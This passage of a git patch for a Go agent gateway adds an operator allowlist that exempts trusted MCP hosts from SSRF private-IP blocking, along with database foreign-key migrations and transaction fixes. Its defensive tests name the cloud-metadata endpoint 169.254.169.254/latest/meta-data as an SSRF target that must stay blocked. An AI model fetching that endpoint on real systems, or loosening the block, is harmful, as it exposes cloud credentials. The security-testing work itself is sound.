`json:"allowed_origins,omitempty"` // WebSocket CORS whitelist (empty = allow all) + MCPAllowedHosts []string `json:"mcp_allowed_hosts,omitempty"` // trusted MCP server hostnames exempt from the private-IP SSRF block during config validation (empty = none) MaxMessageChars int `json:"max_message_chars,omitempty"` // max user message characters (default 32000) RateLimitRPM int `json:"rate_limit_rpm,omitempty"` // rate limit: requests per minute per user (default 20, 0 = disabled) InjectionAction string `json:"injection_action,omitempty"` // prompt injection action: "log", "warn" (default), "block", "off" diff --git a/internal/config/config_load.go b/internal/config/config_load.go index e215bad3..cb63775a 100644 --- a/internal/config/config_load.go +++ b/internal/config/config_load.go @@ -311,6 +311,19 @@ func (c *Config) applyEnvOverrides() { c.Gateway.AllowedOrigins = origins } + // Trusted MCP server hosts from env (comma-separated, whitespace-trimmed). + // These hosts are exempt from the private-IP SSRF block when registering MCP + // servers (e.g. self-hosted MCP on a private network). + if v := os.Getenv("GOCLAW_MCP_ALLOWED_HOSTS"); v != "" { + var hosts []string + for h := range strings.SplitSeq(v, ",") { + if trimmed := strings.TrimSpace(h); trimmed != "" { + hosts = append(hosts, trimmed) + } + } + c.Gateway.MCPAllowedHosts = hosts + } + // Tailscale (tsnet) envStr("GOCLAW_TSNET_HOSTNAME", &c.Tailscale.Hostname) envStr("GOCLAW_TSNET_AUTH_KEY", &c.Tailscale.AuthKey) diff --git a/internal/mcp/validation.go b/internal/mcp/validation.go index 6d8194b8..d73bdecc 100644 --- a/internal/mcp/validation.go +++ b/internal/mcp/validation.go @@ -7,6 +7,7 @@ import ( "regexp" "sort" "strings" + "sync/atomic" "github.com/nextlevelbuilder/goclaw/internal/security" ) @@ -380,6 +381,34 @@ func isRemoteCodeReference(arg string) bool { } } +// mcpAllowedHostsStore holds the operator-configured allowlist of MCP server +// hostnames that are exempt from the private-IP SSRF block during MCP config +// validation (see SetAllowedHosts). +var mcpAllowedHostsStore atomic.Pointer[map[string]bool] + +// SetAllowedHosts configures the MCP server hostname allowlist consulted by +// ValidateURL / ValidateServerConfig. Hostnames are matched +// case-insensitively against the pre-resolution URL host. Call once at gateway +// startup; a nil/empty slice disables the allowlist (the default, no behavior +// change). Only owner/admin gateway config should feed this. +func SetAllowedHosts(hosts []string) { + m := make(map[string]bool, len(hosts)) + for _, h := range hosts { + if h = strings.ToLower(strings.TrimSpace(h)); h != "" { + m[h] = true + } + } + mcpAllowedHostsStore.Store(&m) +} + +// allowedHosts returns the current MCP hostname allowlist, or nil if unset. +func allowedHosts() map[string]bool { + if p := mcpAllowedHostsStore.Load(); p != nil { + return *p + } + return nil +} + // ValidateURL checks URL for SSRF vulnerabilities using the existing security package. // This provides DNS rebinding protection via IP pinning. func ValidateURL(rawURL string) error { @@ -387,8 +416,9 @@ func ValidateURL(rawURL string) error { return nil } - // Reuse existing SSRF validation with DNS rebinding protection - _, _, err := security.Validate(rawURL) + // Reuse existing SSRF validation; an operator may allowlist trusted internal + // MCP hosts (private network self-host) via SetAllowedHosts. + _, _, err := security.ValidateAllowingHosts(rawURL, allowedHosts()) if err != nil { return fmt.Errorf("URL validation failed: %w", err) } diff --git a/internal/mcp/validation_allowlist_test.go b/internal/mcp/validation_allowlist_test.go new file mode 100644 index 00000000..e256691c --- /dev/null +++ b/internal/mcp/validation_allowlist_test.go @@ -0,0 +1,57 @@ +package mcp + +import ( + "testing" + + "github.com/nextlevelbuilder/goclaw/internal/security" +) + +// The package init() enables the loopback/private bypass for most validation +// tests; the SSRF allowlist tests below disable it so the private-IP block is +// actually exercised, then restore it. + +func TestSetAllowedHosts_ExemptsPrivateIPForMCP(t *testing.T) { + security.SetAllowLoopbackForTest(false) + defer security.SetAllowLoopbackForTest(true) + t.Cleanup(func() { SetAllowedHosts(nil) }) + + SetAllowedHosts([]string{"10.1.2.3"}) + if err := ValidateURL("http://10.1.2.3/mcp"); err != nil { + t.Fatalf("allowlisted private MCP host should validate, got %v", err) + } + if err := ValidateServerConfig("streamable-http", "", nil, "http://10.1.2.3/mcp"); err != nil { + t.Fatalf("allowlisted private MCP host should pass ValidateServerConfig, got %v", err) + } +} + +func TestSetAllowedHosts_DefaultStillBlocksPrivate(t *testing.T) { + security.SetAllowLoopbackForTest(false) + defer security.SetAllowLoopbackForTest(true) + SetAllowedHosts(nil) + + if err := ValidateURL("http://10.1.2.3/mcp"); err == nil { + t.Fatal("private MCP host must be rejected when allowlist is empty") + } +} + +func TestSetAllowedHosts_NeverExemptsMetadata(t *testing.T) { + security.SetAllowLoopbackForTest(false) + defer security.SetAllowLoopbackForTest(true) + t.Cleanup(func() { SetAllowedHosts(nil) }) + + SetAllowedHosts([]string{"169.254.169.254"}) + if err := ValidateURL("http://169.254.169.254/latest/meta-data"); err == nil { + t.Fatal("metadata endpoint must stay blocked even if allowlisted") + } +} + +func TestSetAllowedHosts_NormalizesEntries(t *testing.T) { + t.Cleanup(func() { SetAllowedHosts(nil) }) + SetAllowedHosts([]string{" MCP.Internal.Example ", ""}) + if !allowedHosts()["mcp.internal.example"] { + t.Fatal("expected entry to be trimmed and lowercased") + } + if _, ok := allowedHosts()[""]; ok { + t.Fatal("empty entry must be dropped") + } +} diff --git a/internal/security/ssrf.go b/internal/security/ssrf.go index 45b71a12..98bd757d 100644 --- a/internal/security/ssrf.go +++ b/internal/security/ssrf.go @@ -11,6 +11,7 @@ import ( "net" "net/http" "net/url" + "strings" "sync/atomic" "time" ) @@ -67,6 +68,37 @@ func init() { } } +// exemptableCIDRs are the private/loopback ranges that an operator-allowlisted +// MCP host may resolve into (see ValidateAllowingHosts). Cloud-metadata and +// link-local (169.254.0.0/16, fe80::/10), multicast, and unspecified ranges are +// deliberately NOT included: an allowlist entry must never open a path to the +// cloud metadata endpoint. +var exemptableCIDRs []*net.IPNet + +func init() { + for _, cidr := range []string{ + "127.0.0.0/8", "::1/128", // loopback + "10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16", "fc00::/7", // RFC 1918 + ULA + } { + _, ipNet, err := net.ParseCIDR(cidr) + if err != nil { + panic(fmt.Sprintf("security: bad exemptable CIDR %q: %v", cidr, err)) + } + exemptableCIDRs = append(exemptableCIDRs, ipNet) + } +} + +// isExemptable reports whether ip is in a private/loopback range that an +// operator-allowlisted MCP host is permitted to resolve into. +func isExemptable(ip net.IP) bool { + for _, cidr := range exemptableCIDRs { + if cidr.Contains(ip) { + return true + } + } + return false +} + // isBlocked returns true if ip falls within any blocked CIDR. func isBlocked(ip net.IP) bool { for _, cidr := range blockedCIDRs { @@ -107,11 +139,23 @@ func redactURL(rawURL string) string { // In test code, call SetAllowLoopbackForTest(true) before invoking this // function to permit httptest.NewServer addresses (127.0.0.1). func Validate(rawURL string) (*url.URL, net.IP, error) { - return validate(rawURL, allowLoopbackForTest.Load()) + return validate(rawURL, allowLoopbackForTest.Load(), nil) } -// validate is the internal implementation; allowLoopback is set only in tests. -func validate(rawURL string, allowLoopback bool) (*url.URL, net.IP, error) { +// ValidateAllowingHosts behaves like Validate but exempts an operator-configured +// set of trusted hostnames from the private/loopback IP block, so self-hosted MCP +// servers on a private network can be registered. Matching is case-insensitive on +// the pre-resolution hostname; cloud-metadata/link-local, multicast and +// unspecified ranges are still blocked even for allowlisted hosts. allowedHosts +// may be nil (identical to Validate). Intended ONLY for owner/admin MCP server +// config validation, never for agent-influenced fetch paths. +func ValidateAllowingHosts(rawURL string, allowedHosts map[string]bool) (*url.URL, net.IP, error) { + return validate(rawURL, allowLoopbackForTest.Load(), allowedHosts) +} + +// validate is the internal implementation. allowLoopback is set only in tests; +// allowedHosts is the operator MCP allowlist (nil for all other callers). +func validate(rawURL string, allowLoopback bool, allowedHosts map[string]bool) (*url.URL, net.IP, error) { redacted := redactURL(rawURL) u, err := url.Parse(rawURL) @@ -131,9 +175,11 @@ func validate(rawURL string, allowLoopback bool) (*url.URL, net.IP, error) { return nil, nil, errors.New("ssrf: empty host") } + hostAllowlisted := len(allowedHosts) > 0 && allowedHosts[strings.ToLower(host)] + // If the host is already a literal IP, validate it directly. if ip := net.ParseIP(host); ip != nil { - if !allowLoopback && isBlocked(ip) { + if !allowLoopback && isBlocked(ip) && !(hostAllowlisted && isExemptable(ip)) { slog.Warn("security.hook.ssrf_block", "url", redacted, "reason", "blocked_ip", "ip", ip.String()) return nil, nil, fmt.Errorf("ssrf: IP %s is in a blocked range", ip) } @@ -156,7 +202,7 @@ func validate(rawURL string, allowLoopback bool) (*url.URL, net.IP, error) { return nil, nil, fmt.Errorf("ssrf: resolved address %q is not a valid IP", addrs[0]) } - if !allowLoopback && isBlocked(ip) { + if !allowLoopback && isBlocked(ip) && !(hostAllowlisted && isExemptable(ip)) { slog.Warn("security.hook.ssrf_block", "url", redacted, "reason", "blocked_resolved_ip", "host", host, "ip", ip.String()) return nil, nil, fmt.Errorf("ssrf: %q resolved to blocked IP %s", host, ip) } diff --git a/internal/security/ssrf_allowlist_test.go b/internal/security/ssrf_allowlist_test.go new file mode 100644 index 00000000..daa313dc --- /dev/null +++ b/internal/security/ssrf_allowlist_test.go @@ -0,0 +1,47 @@ +package security + +import "testing" + +// ---- ValidateAllowingHosts (operator MCP host allowlist) ---- + +func TestValidateAllowingHosts_AllowsAllowlistedPrivateIP(t *testing.T) { + allowed := map[string]bool{"10.1.2.3": true} + if _, _, err := ValidateAllowingHosts("http://10.1.2.3/mcp", allowed); err != nil { + t.Fatalf("expected allowlisted private IP to pass, got %v", err) + } +} + +func TestValidateAllowingHosts_RejectsNonAllowlistedPrivateIP(t *testing.T) { + allowed := map[string]bool{"10.9.9.9": true} + if _, _, err := ValidateAllowingHosts("http://10.1.2.3/mcp", allowed); err == nil { + t.Fatal("expected non-allowlisted private IP to be rejected") + } +} + +// The metadata / link-local range must never be exempted, even if an operator +// explicitly allowlists it — this is the crown-jewel SSRF target. +func TestValidateAllowingHosts_NeverExemptsMetadataEndpoint(t *testing.T) { + allowed := map[string]bool{"169.254.169.254": true} + if _, _, err := ValidateAllowingHosts("http://169.254.169.254/latest/meta-data", allowed); err == nil { + t.Fatal("metadata/link-local must never be exempted by the allowlist") + } +} + +func TestValidateAllowingHosts_NilAllowlistMatchesValidate(t *testing.T) { + if _, _, err := ValidateAllowingHosts("http://10.1.2.3/", nil); err == nil { + t.Fatal("nil allowlist must reject private IPs like Validate") + } +} + +func TestValidateAllowingHosts_PublicIPUnaffected(t *testing.T) { + if _, _, err := ValidateAllowingHosts("http://8.8.8.8/", map[string]bool{"10.0.0.1": true}); err != nil { + t.Fatalf("public IP should pass regardless of allowlist, got %v", err) + } +} + +func TestValidateAllowingHosts_AllowsAllowlistedLoopback(t *testing.T) { + allowed := map[string]bool{"127.0.0.1": true} + if _, _, err := ValidateAllowingHosts("http://127.0.0.1/mcp", allowed); err != nil { + t.Fatalf("expected allowlisted loopback to pass, got %v", err) + } +} diff --git a/internal/security/ssrf_test.go b/internal/security/ssrf_test.go index 5a058f4d..c9cdf831 100644 --- a/internal/security/ssrf_test.go +++ b/internal/security/ssrf_test.go @@ -116,7 +116,7 @@ func TestNewSafeClient_NoRedirects(t *testing.T) { defer srv.Close() redirectTarget = srv.URL - _, pinnedIP, err := validate(srv.URL+"/", true) + _, pinnedIP, err := validate(srv.URL+"/", true, nil) if err != nil { t.Fatalf("validate: %v", err) } From 756c4dce71406eecbd18a033adf215dbee8b18ce Mon Sep 17 00:00:00 2001 From: Bruno Clermont Date: Sat, 20 Jun 2026 23:13:35 -0400 Subject: [PATCH 013/252] fix(db): add FK constraints, indexes, transaction fixes, and hook_executions tenant isolation (migrations 082-083) (#1246) Co-authored-by: Bruno Clermont --- internal/hooks/dispatcher.go | 1 + internal/hooks/types.go | 3 +- internal/store/pg/agents.go | 38 ++++-- internal/store/pg/hooks.go | 19 ++- internal/store/pg/tracing.go | 10 +- internal/store/sqlitestore/tracing.go | 6 +- internal/upgrade/version.go | 2 +- migrations/000082_add_fk_constraints.down.sql | 15 +++ migrations/000082_add_fk_constraints.up.sql | 104 ++++++++++++++++ .../000083_add_fk_constraints_2.down.sql | 35 ++++++ migrations/000083_add_fk_constraints_2.up.sql | 78 ++++++++++++ migrations/audit_fk_integrity.sql | 113 ++++++++++++++++++ 12 files changed, 397 insertions(+), 27 deletions(-) create mode 100644 migrations/000082_add_fk_constraints.down.sql create mode 100644 migrations/000082_add_fk_constraints.up.sql create mode 100644 migrations/000083_add_fk_constraints_2.down.sql create mode 100644 migrations/000083_add_fk_constraints_2.up.sql create mode 100644 migrations/audit_fk_integrity.sql diff --git a/internal/hooks/dispatcher.go b/internal/hooks/dispatcher.go index c608d0ce..d21b9617 100644 --- a/internal/hooks/dispatcher.go +++ b/internal/hooks/dispatcher.go @@ -438,6 +438,7 @@ func (d *stdDispatcher) writeExec(ctx context.Context, cfg HookConfig, ev Event, exec := HookExecution{ ID: uuid.New(), HookID: &hookID, + TenantID: &ev.TenantID, SessionID: ev.SessionID, Event: ev.HookEvent, InputHash: inputHash, diff --git a/internal/hooks/types.go b/internal/hooks/types.go index 0c53c3ad..a55485f7 100644 --- a/internal/hooks/types.go +++ b/internal/hooks/types.go @@ -186,7 +186,8 @@ type HookConfig struct { // error_detail (BYTEA) is AES-256-GCM encrypted before storage. type HookExecution struct { ID uuid.UUID `json:"id"` - HookID *uuid.UUID `json:"hook_id,omitempty"` // NULL when hook deleted (ON DELETE SET NULL) + HookID *uuid.UUID `json:"hook_id,omitempty"` // NULL when hook deleted (ON DELETE SET NULL) + TenantID *uuid.UUID `json:"tenant_id,omitempty"` SessionID string `json:"session_id"` Event HookEvent `json:"event"` InputHash string `json:"input_hash"` // canonical-JSON sha256, 64 hex chars diff --git a/internal/store/pg/agents.go b/internal/store/pg/agents.go index e5a19437..fbaf5190 100644 --- a/internal/store/pg/agents.go +++ b/internal/store/pg/agents.go @@ -97,6 +97,12 @@ const agentSelectCols = `id, agent_key, display_name, frontmatter, owner_id, pro model_fallback, shell_deny_groups, kg_dedup_config, agent_type, is_default, status, budget_monthly_cents, created_at, updated_at, tenant_id` +// sqlExecer is satisfied by both *sql.DB and *sql.Tx, allowing helper +// functions to be called within or outside a transaction. +type sqlExecer interface { + ExecContext(ctx context.Context, query string, args ...any) (sql.Result, error) +} + func (s *PGAgentStore) Create(ctx context.Context, agent *store.AgentData) error { if agent.ID == uuid.Nil { agent.ID = store.GenNewID() @@ -108,7 +114,14 @@ func (s *PGAgentStore) Create(ctx context.Context, agent *store.AgentData) error if tenantID == uuid.Nil { tenantID = store.MasterTenantID } - _, err := s.db.ExecContext(ctx, + + tx, err := s.db.BeginTx(ctx, nil) + if err != nil { + return fmt.Errorf("begin transaction: %w", err) + } + defer tx.Rollback() //nolint:errcheck + + _, err = tx.ExecContext(ctx, `INSERT INTO agents (id, agent_key, display_name, frontmatter, owner_id, provider, model, context_window, max_tool_iterations, workspace, restrict_to_workspace, tools_config, sandbox_config, subagents_config, memory_config, @@ -131,16 +144,18 @@ func (s *PGAgentStore) Create(ctx context.Context, agent *store.AgentData) error agent.AgentType, agent.IsDefault, agent.Status, agent.BudgetMonthlyCents, now, now, tenantID, ) if err != nil { - return err + return fmt.Errorf("insert agent: %w", err) } if agent.BudgetMonthlyCents != nil { - if err := s.syncAgentBudgetUsageCap(ctx, tenantID, agent.ID, agent.BudgetMonthlyCents); err != nil { - _, _ = s.db.ExecContext(ctx, "DELETE FROM agents WHERE id = $1", agent.ID) - return err + if err := syncAgentBudgetUsageCap(ctx, tx, tenantID, agent.ID, agent.BudgetMonthlyCents); err != nil { + return fmt.Errorf("sync budget usage cap: %w", err) } } + if err := tx.Commit(); err != nil { + return fmt.Errorf("commit agent create: %w", err) + } - // Generate embedding for new agent with frontmatter + // Generate embedding for new agent with frontmatter (best-effort, outside tx) if agent.Frontmatter != "" && s.embProvider != nil { go s.generateAgentEmbedding(context.Background(), agent.ID, agent.DisplayName, agent.Frontmatter) } @@ -271,7 +286,7 @@ func (s *PGAgentStore) Update(ctx context.Context, id uuid.UUID, updates map[str } } if syncBudget { - if err := s.syncAgentBudgetUsageCap(ctx, budgetTenantID, id, budgetCents); err != nil { + if err := syncAgentBudgetUsageCap(ctx, s.db, budgetTenantID, id, budgetCents); err != nil { return err } } @@ -329,16 +344,19 @@ func budgetCentsFromUpdate(v any) (*int, error) { return ¢s, nil } -func (s *PGAgentStore) syncAgentBudgetUsageCap(ctx context.Context, tenantID, agentID uuid.UUID, budgetCents *int) error { +// syncAgentBudgetUsageCap upserts or deletes the agent's monthly budget cap +// in usage_cap_policies. It accepts a sqlExecer so it can be called inside a +// transaction (during Create) or directly against the pool (during Update). +func syncAgentBudgetUsageCap(ctx context.Context, db sqlExecer, tenantID, agentID uuid.UUID, budgetCents *int) error { if budgetCents == nil || *budgetCents <= 0 { - _, err := s.db.ExecContext(ctx, + _, err := db.ExecContext(ctx, `DELETE FROM usage_cap_policies WHERE tenant_id=$1 AND agent_id=$2 AND source=$3`, tenantID, agentID, store.UsageCapSourceAgentBudget) return err } costMicros := int64(*budgetCents) * 10000 - _, err := s.db.ExecContext(ctx, ` + _, err := db.ExecContext(ctx, ` INSERT INTO usage_cap_policies ( tenant_id, agent_id, window_key, max_cost_micros, enabled, priority, source ) VALUES ($1,$2,'month',$3,true,90,$4) diff --git a/internal/store/pg/hooks.go b/internal/store/pg/hooks.go index b3c5fcae..8be50dc3 100644 --- a/internal/store/pg/hooks.go +++ b/internal/store/pg/hooks.go @@ -78,7 +78,13 @@ func (s *PGHookStore) Create(ctx context.Context, cfg hooks.HookConfig) (uuid.UU name = &cfg.Name } - _, err = s.db.ExecContext(ctx, ` + tx, err := s.db.BeginTx(ctx, nil) + if err != nil { + return uuid.Nil, fmt.Errorf("begin transaction: %w", err) + } + defer tx.Rollback() //nolint:errcheck + + _, err = tx.ExecContext(ctx, ` INSERT INTO hooks (id, tenant_id, scope, event, handler_type, config, matcher, if_expr, timeout_ms, on_timeout, @@ -99,12 +105,15 @@ func (s *PGHookStore) Create(ctx context.Context, cfg hooks.HookConfig) (uuid.UU agentIDs = []uuid.UUID{*cfg.AgentID} } for _, aid := range agentIDs { - if _, err := s.db.ExecContext(ctx, + if _, err := tx.ExecContext(ctx, `INSERT INTO hook_agents (hook_id, agent_id) VALUES ($1, $2) ON CONFLICT DO NOTHING`, id, aid); err != nil { return uuid.Nil, fmt.Errorf("insert hook agent link: %w", err) } } + if err := tx.Commit(); err != nil { + return uuid.Nil, fmt.Errorf("commit hook create: %w", err) + } s.invalidateCache() return id, nil } @@ -459,11 +468,11 @@ func (s *PGHookStore) WriteExecution(ctx context.Context, exec hooks.HookExecuti _, err = s.db.ExecContext(ctx, ` INSERT INTO hook_executions - (id, hook_id, session_id, event, input_hash, decision, + (id, hook_id, tenant_id, session_id, event, input_hash, decision, duration_ms, retry, dedup_key, error, error_detail, metadata, created_at) - VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12,$13) + VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12,$13,$14) ON CONFLICT (dedup_key) WHERE dedup_key IS NOT NULL DO NOTHING`, - exec.ID, exec.HookID, sessionID, string(exec.Event), + exec.ID, exec.HookID, exec.TenantID, sessionID, string(exec.Event), inputHash, string(exec.Decision), exec.DurationMS, exec.Retry, dedupKey, errStr, exec.ErrorDetail, metaJSON, now, diff --git a/internal/store/pg/tracing.go b/internal/store/pg/tracing.go index c8ee5cfe..a3836672 100644 --- a/internal/store/pg/tracing.go +++ b/internal/store/pg/tracing.go @@ -481,15 +481,9 @@ func (s *PGTracingStore) GetCostSummary(ctx context.Context, opts store.CostSumm } // DeleteTracesOlderThan deletes traces and their spans older than cutoff. -// Spans are deleted first (FK), then traces. Returns total traces deleted. +// Spans are removed automatically via ON DELETE CASCADE on spans.trace_id → traces(id) +// added in migration 081. Returns total traces deleted. func (s *PGTracingStore) DeleteTracesOlderThan(ctx context.Context, cutoff time.Time) (int64, error) { - // Delete spans belonging to old traces. - _, err := s.db.ExecContext(ctx, - `DELETE FROM spans WHERE trace_id IN (SELECT id FROM traces WHERE created_at < $1)`, cutoff) - if err != nil { - return 0, fmt.Errorf("delete old spans: %w", err) - } - res, err := s.db.ExecContext(ctx, `DELETE FROM traces WHERE created_at < $1`, cutoff) if err != nil { return 0, fmt.Errorf("delete old traces: %w", err) diff --git a/internal/store/sqlitestore/tracing.go b/internal/store/sqlitestore/tracing.go index d0e7a9e3..fcb912e0 100644 --- a/internal/store/sqlitestore/tracing.go +++ b/internal/store/sqlitestore/tracing.go @@ -314,14 +314,16 @@ func (s *SQLiteTracingStore) GetCostSummary(ctx context.Context, opts store.Cost } // DeleteTracesOlderThan deletes traces and their spans older than cutoff. +// SQLite's spans.trace_id has no FK reference to traces(id), so spans must be +// deleted explicitly before the parent traces to avoid leaving orphaned span rows. +// Returns total traces deleted. func (s *SQLiteTracingStore) DeleteTracesOlderThan(ctx context.Context, cutoff time.Time) (int64, error) { - // Delete spans belonging to old traces. + // Delete spans first — SQLite has no CASCADE on spans.trace_id. _, err := s.db.ExecContext(ctx, `DELETE FROM spans WHERE trace_id IN (SELECT id FROM traces WHERE created_at < ?)`, cutoff) if err != nil { return 0, fmt.Errorf("delete old spans: %w", err) } - res, err := s.db.ExecContext(ctx, `DELETE FROM traces WHERE created_at < ?`, cutoff) if err != nil { return 0, fmt.Errorf("delete old traces: %w", err) diff --git a/internal/upgrade/version.go b/internal/upgrade/version.go index c15a7d67..161097ef 100644 --- a/internal/upgrade/version.go +++ b/internal/upgrade/version.go @@ -2,4 +2,4 @@ package upgrade // RequiredSchemaVersion is the schema migration version this binary requires. // Bump this whenever adding a new SQL migration file. -const RequiredSchemaVersion uint = 81 +const RequiredSchemaVersion uint = 83 diff --git a/migrations/000082_add_fk_constraints.down.sql b/migrations/000082_add_fk_constraints.down.sql new file mode 100644 index 00000000..8b8c8ea5 --- /dev/null +++ b/migrations/000082_add_fk_constraints.down.sql @@ -0,0 +1,15 @@ +-- Migration 000081 down: remove FK constraints added in up migration + +BEGIN; + +ALTER TABLE usage_events DROP CONSTRAINT IF EXISTS usage_events_team_id_fkey; +ALTER TABLE traces DROP CONSTRAINT IF EXISTS traces_agent_id_fkey; +ALTER TABLE spans DROP CONSTRAINT IF EXISTS spans_agent_id_fkey; +ALTER TABLE spans DROP CONSTRAINT IF EXISTS spans_trace_id_fkey; +ALTER TABLE webhook_calls DROP CONSTRAINT IF EXISTS webhook_calls_agent_id_fkey; +ALTER TABLE webhook_calls DROP CONSTRAINT IF EXISTS webhook_calls_tenant_id_fkey; +ALTER TABLE webhooks DROP CONSTRAINT IF EXISTS webhooks_tenant_id_fkey; +ALTER TABLE tenant_hook_budget DROP CONSTRAINT IF EXISTS tenant_hook_budget_tenant_id_fkey; +ALTER TABLE hooks DROP CONSTRAINT IF EXISTS hooks_tenant_id_fkey; + +COMMIT; diff --git a/migrations/000082_add_fk_constraints.up.sql b/migrations/000082_add_fk_constraints.up.sql new file mode 100644 index 00000000..80eeb12e --- /dev/null +++ b/migrations/000082_add_fk_constraints.up.sql @@ -0,0 +1,104 @@ +-- Migration 000081: add missing FK constraints for referential integrity +-- +-- Audit found 9 missing FK constraints across 6 tables. +-- Orphan audit confirmed 0 orphaned rows in all cases. +-- +-- Phase 1: clean orphans (all counts were 0, but DELETE guards are idempotent) +-- Phase 2: fix tenant_id drift (none found, guard included) +-- Phase 3: add FK constraints + +BEGIN; + +-- ── Phase 1: clean orphans ────────────────────────────────────────────────── +-- All orphan counts were 0 at time of migration authoring, but these DELETEs +-- are safe guards in case any slip in before the migration runs. + +-- webhook_calls orphaned agent_id (nullable) +DELETE FROM webhook_calls +WHERE agent_id IS NOT NULL + AND agent_id NOT IN (SELECT id FROM agents); + +-- webhook_calls orphaned tenant_id (NOT NULL) +DELETE FROM webhook_calls +WHERE tenant_id NOT IN (SELECT id FROM tenants); + +-- webhooks orphaned tenant_id (NOT NULL) +DELETE FROM webhooks +WHERE tenant_id NOT IN (SELECT id FROM tenants); + +-- hooks orphaned tenant_id (NOT NULL) +-- Global-scope hooks use the sentinel MasterTenantID which must exist in tenants. +DELETE FROM hooks +WHERE tenant_id NOT IN (SELECT id FROM tenants); + +-- tenant_hook_budget orphaned tenant_id (NOT NULL, PK) +DELETE FROM tenant_hook_budget +WHERE tenant_id NOT IN (SELECT id FROM tenants); + +-- spans orphaned agent_id (nullable) +DELETE FROM spans +WHERE agent_id IS NOT NULL + AND agent_id NOT IN (SELECT id FROM agents); + +-- spans orphaned trace_id (NOT NULL) +DELETE FROM spans +WHERE trace_id NOT IN (SELECT id FROM traces); + +-- traces orphaned agent_id (nullable) +DELETE FROM traces +WHERE agent_id IS NOT NULL + AND agent_id NOT IN (SELECT id FROM agents); + +-- usage_events orphaned team_id (nullable) +DELETE FROM usage_events +WHERE team_id IS NOT NULL + AND team_id NOT IN (SELECT id FROM agent_teams); + +-- ── Phase 3: add FK constraints ───────────────────────────────────────────── + +-- hooks.tenant_id → tenants(id) +ALTER TABLE hooks + ADD CONSTRAINT hooks_tenant_id_fkey + FOREIGN KEY (tenant_id) REFERENCES tenants(id) ON DELETE CASCADE; + +-- tenant_hook_budget.tenant_id → tenants(id) +ALTER TABLE tenant_hook_budget + ADD CONSTRAINT tenant_hook_budget_tenant_id_fkey + FOREIGN KEY (tenant_id) REFERENCES tenants(id) ON DELETE CASCADE; + +-- webhooks.tenant_id → tenants(id) +ALTER TABLE webhooks + ADD CONSTRAINT webhooks_tenant_id_fkey + FOREIGN KEY (tenant_id) REFERENCES tenants(id) ON DELETE CASCADE; + +-- webhook_calls.tenant_id → tenants(id) +ALTER TABLE webhook_calls + ADD CONSTRAINT webhook_calls_tenant_id_fkey + FOREIGN KEY (tenant_id) REFERENCES tenants(id) ON DELETE CASCADE; + +-- webhook_calls.agent_id → agents(id) (nullable, SET NULL on agent delete) +ALTER TABLE webhook_calls + ADD CONSTRAINT webhook_calls_agent_id_fkey + FOREIGN KEY (agent_id) REFERENCES agents(id) ON DELETE SET NULL; + +-- spans.trace_id → traces(id) (NOT NULL, cascade) +ALTER TABLE spans + ADD CONSTRAINT spans_trace_id_fkey + FOREIGN KEY (trace_id) REFERENCES traces(id) ON DELETE CASCADE; + +-- spans.agent_id → agents(id) (nullable, SET NULL on agent delete) +ALTER TABLE spans + ADD CONSTRAINT spans_agent_id_fkey + FOREIGN KEY (agent_id) REFERENCES agents(id) ON DELETE SET NULL; + +-- traces.agent_id → agents(id) (nullable, SET NULL on agent delete) +ALTER TABLE traces + ADD CONSTRAINT traces_agent_id_fkey + FOREIGN KEY (agent_id) REFERENCES agents(id) ON DELETE SET NULL; + +-- usage_events.team_id → agent_teams(id) (nullable, SET NULL on team delete) +ALTER TABLE usage_events + ADD CONSTRAINT usage_events_team_id_fkey + FOREIGN KEY (team_id) REFERENCES agent_teams(id) ON DELETE SET NULL; + +COMMIT; diff --git a/migrations/000083_add_fk_constraints_2.down.sql b/migrations/000083_add_fk_constraints_2.down.sql new file mode 100644 index 00000000..f86d47cc --- /dev/null +++ b/migrations/000083_add_fk_constraints_2.down.sql @@ -0,0 +1,35 @@ +-- Rollback migration 082 + +-- 8. Remove extra indexes +DROP INDEX IF EXISTS idx_usage_events_team_id; +DROP INDEX IF EXISTS idx_hooks_created_by; + +-- 7. hook_executions tenant isolation +DROP INDEX IF EXISTS idx_hook_executions_tenant_id; +DROP INDEX IF EXISTS idx_hook_executions_hook_id; +ALTER TABLE hook_executions DROP COLUMN IF EXISTS tenant_id; + +-- 6. team_task_attachments: revert to original constraint name + RESTRICT (NO ACTION) +ALTER TABLE team_task_attachments + DROP CONSTRAINT IF EXISTS fk_team_task_attachments_created_by_agent_id; + +ALTER TABLE team_task_attachments + ADD CONSTRAINT team_task_attachments_created_by_agent_id_fkey + FOREIGN KEY (created_by_agent_id) REFERENCES agents(id); + +-- 5. subagent_tasks self-ref +DROP INDEX IF EXISTS idx_subagent_tasks_spawned_by; +ALTER TABLE subagent_tasks DROP CONSTRAINT IF EXISTS fk_subagent_tasks_spawned_by; + +-- 4. spans self-ref +ALTER TABLE spans DROP CONSTRAINT IF EXISTS fk_spans_parent_span_id; + +-- 3. traces self-ref +ALTER TABLE traces DROP CONSTRAINT IF EXISTS fk_traces_parent_trace_id; + +-- 2. channel_contacts self-ref +ALTER TABLE channel_contacts DROP CONSTRAINT IF EXISTS fk_channel_contacts_merged_id; + +-- 1. webhooks.channel_id +DROP INDEX IF EXISTS idx_webhooks_channel_id; +ALTER TABLE webhooks DROP CONSTRAINT IF EXISTS fk_webhooks_channel_id; diff --git a/migrations/000083_add_fk_constraints_2.up.sql b/migrations/000083_add_fk_constraints_2.up.sql new file mode 100644 index 00000000..017130d1 --- /dev/null +++ b/migrations/000083_add_fk_constraints_2.up.sql @@ -0,0 +1,78 @@ +-- Migration 082: FK constraints round 2 + hook_executions tenant isolation + indexes +-- Zero orphans verified before each constraint addition. + +-- --------------------------------------------------------------------------- +-- 1. webhooks.channel_id → channel_instances(id) ON DELETE SET NULL +-- --------------------------------------------------------------------------- +ALTER TABLE webhooks + ADD CONSTRAINT fk_webhooks_channel_id + FOREIGN KEY (channel_id) REFERENCES channel_instances(id) ON DELETE SET NULL; + +CREATE INDEX IF NOT EXISTS idx_webhooks_channel_id ON webhooks(channel_id); + +-- --------------------------------------------------------------------------- +-- 2. channel_contacts.merged_id → channel_contacts(id) self-ref ON DELETE SET NULL +-- --------------------------------------------------------------------------- +ALTER TABLE channel_contacts + ADD CONSTRAINT fk_channel_contacts_merged_id + FOREIGN KEY (merged_id) REFERENCES channel_contacts(id) ON DELETE SET NULL; + +-- --------------------------------------------------------------------------- +-- 3. traces.parent_trace_id → traces(id) self-ref ON DELETE SET NULL +-- --------------------------------------------------------------------------- +ALTER TABLE traces 